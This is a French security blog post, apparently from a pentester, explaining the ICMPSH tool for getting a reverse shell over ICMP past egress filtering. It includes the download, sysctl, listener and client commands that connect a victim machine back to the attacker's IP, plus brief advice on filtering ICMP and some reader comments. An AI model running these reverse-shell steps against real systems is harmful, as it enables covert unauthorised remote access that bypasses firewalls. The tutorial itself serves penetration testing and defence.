Skip to content

ICMPSH : terminal au travers l’ICMP

Dans cet article, je vous présente l’outil ICMPSH, qui permet d’établir un Shell over ICMP. C’est à dire un connexion terminal au travers le protocole ICMP (non TCP/UDP comme dans la plupart des cas).

J’ai découvert cet outil et le principe du Shell over ICMP lors d’un audit interne, le système d »information attaqué comportait des règles de filtrage plutôt bien faites qui bloquaient notamment la majorité des flux en sortie entre les réseaux, mais également sur les postes utilisateurs. A noter qu’il est déjà suffisamment rare de trouver des postes utilisateurs avec le pare-feu activé.

Pour information, ICMPSH utilise le champ Data du protocole ICMP pour faire passer de l’information, voir cet article : Charge ICMP : Stéganographie avec le ping 

Dans un tel contexte, le traditionnel reverse_tcp sur le port 4444 (ou autre), aura du mal à fonctionner, le trafic sortant étant bloqué. Alors, deux possibilités s’offrent à l’attaquant :

  • déposer plusieurs charges utiles, chacune tentant d’établir une connexion TCP vers un port différent de la machine de l’attaquant. En visant notamment des ports logiquement ouverts en sortie comme le port 80 (HTTP) ou 443 (HTTPS);
  • ne pas utiliser le protocole TCP, qui dans le contexte fait visiblement l’objet d’une politique de filtrage bien pensée.

ICMPSH permet donc d’appliquer la seconde possibilité, les flux UDP et TCP sont généralement ciblés lorsque l’on applique une politique de filtrage sur un système d’information. L’ICMP est lui soit oublié, soit volontairement non filtré à des fins d’administration et de débogage.

Dans un contexte ou l’on parvient à faire télécharger et exécuter à sa cible n’importe quelle charge utile (payload), on peut donc utiliser ICMPSH pour établir une connexion terminal entre la cible et le poste de l’attaquant en utilisant le protocole ICMP.

Je présenterai ici l’outil en lui même, et non les différents moyens permettant de le déposer sur une machine et de l’exécuter, moyens qui varient de toute façon en fonction des contextes.

Téléchargement de ICMPSH

On peut le télécharger sur le Github de inquisb : https://github.com/inquisb/icmpsh

git clone https://github.com/inquisb/icmpsh.git

ICMPSH présente donc une partie « serveur », utilisée par l’attaquant afin de se mettre en écoute dans l’attente d’une connexion provenant de sa victime. L’autre partie est donc la partie « client » qui va initier la connexion, récupérer les commandes à exécuter et renvoyer les résultats.

La partie client est disponible en plusieurs format (exe, c, perl).
Pour la partie serveur, un script bash permet d’automatiser le lancement du serveur, j’utilise généralement directement le script python disponible.

Utilisation de ICMPSH

Sur le serveur, il est nécessaire de passer à « 1 » le paramètre net.ipv4.icmp_echo_ignore_all afin de désactiver le ping reply (réponse à un ping query), cette partie étant à présent gérée non plus par le système, mais par ICMPSH.

sysctl -w net.ipv4.icmp_echo_ignore_all=1

On pourra ensuite se mettre en écoute, en spécifiant d’abord l’adresse IP de l’attaquant (notre poste), puis celle du client.

python icmpsh_m.py 192.168.1.96 192.168.1.104

Dans le cadre de la démonstration, je lance manuellement ICMPSH sur le « client », dans un contexte réel, l’attaquant devra effectué cette exécution à distance (exploit, startup folder, exécutable infecté, etc.). Le client prend en paramètre l’adresse IP du serveur avec l’option « -t« . A noter que différentes options permettent de faire varier les délais entre les paquets, les requêtes/réponses, la taille des blocs, etc.

icmpsh.exe -t 192.168.1.96

Voici le résultat attendu sur le serveur :

Vue serveur lors de l'initialisation d'une connexion avec ICMPSH
Vue serveur lors de l’initialisation d’une connexion avec ICMPSH

On obtient donc un terminal avec les droits de l’utilisateur ayant exécuté le client ICMPSH, cela peut donc être l’utilisateur courant ou un compte privilégié (de service par exemple) si l’on a réussi à faire exécuter du code sur un service particulier (injection DLL par exemple).

Si par curiosité on jette un œil au trafic réseau au moment d’un échange entre le client et le serveur ICMPSH, on pourra voir le  résultat de l’exécution de la commande en hexadécimal :

Quelques pistes de protection

La meilleur protection reste bien entendu de filtrer le trafic ICMP, s’il est utilisé à des fins d’administration, l’ICMP ne doit être autorisé qu’en provenance et en direction du LAN d’administration par exemple.

Dans la majorité des cas, il est conseillé de désactiver l’ICMP sur les postes utilisateurs et les serveurs. Cela entravera partiellement le travail de l’attaquant, notamment au niveau du balayage réseau (scan), qui se base par défaut sur du ping pour découvrir des machines sur le réseau.

Partager :
Published inNon classé

4 Comments

  1. _john_doe

    Bonjour,
    Merci pour cet article tres interessant.
    Dans la doc ICMPSH il est précisé que cette attaque peut aussi fonctionner en précisant l’IP publique de la machine cible (et donc l’attaquant n’etant pas dans le meme LAN). Or j’avoue que je suis un peu perdu car pour moi le ptotocole ICMP etant de couche 3 ne supporte pas l’utilisation des ports je vois mal comment une attaque ICMPCH peut aboutir en ciblant une IP publique.

  2. emmanuel

    très intéressant merci

  3. iNoSec

    Je decouvre le blog justement aprés utilisation sur un pentest!!! Super article et outils trop peu connu!!

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *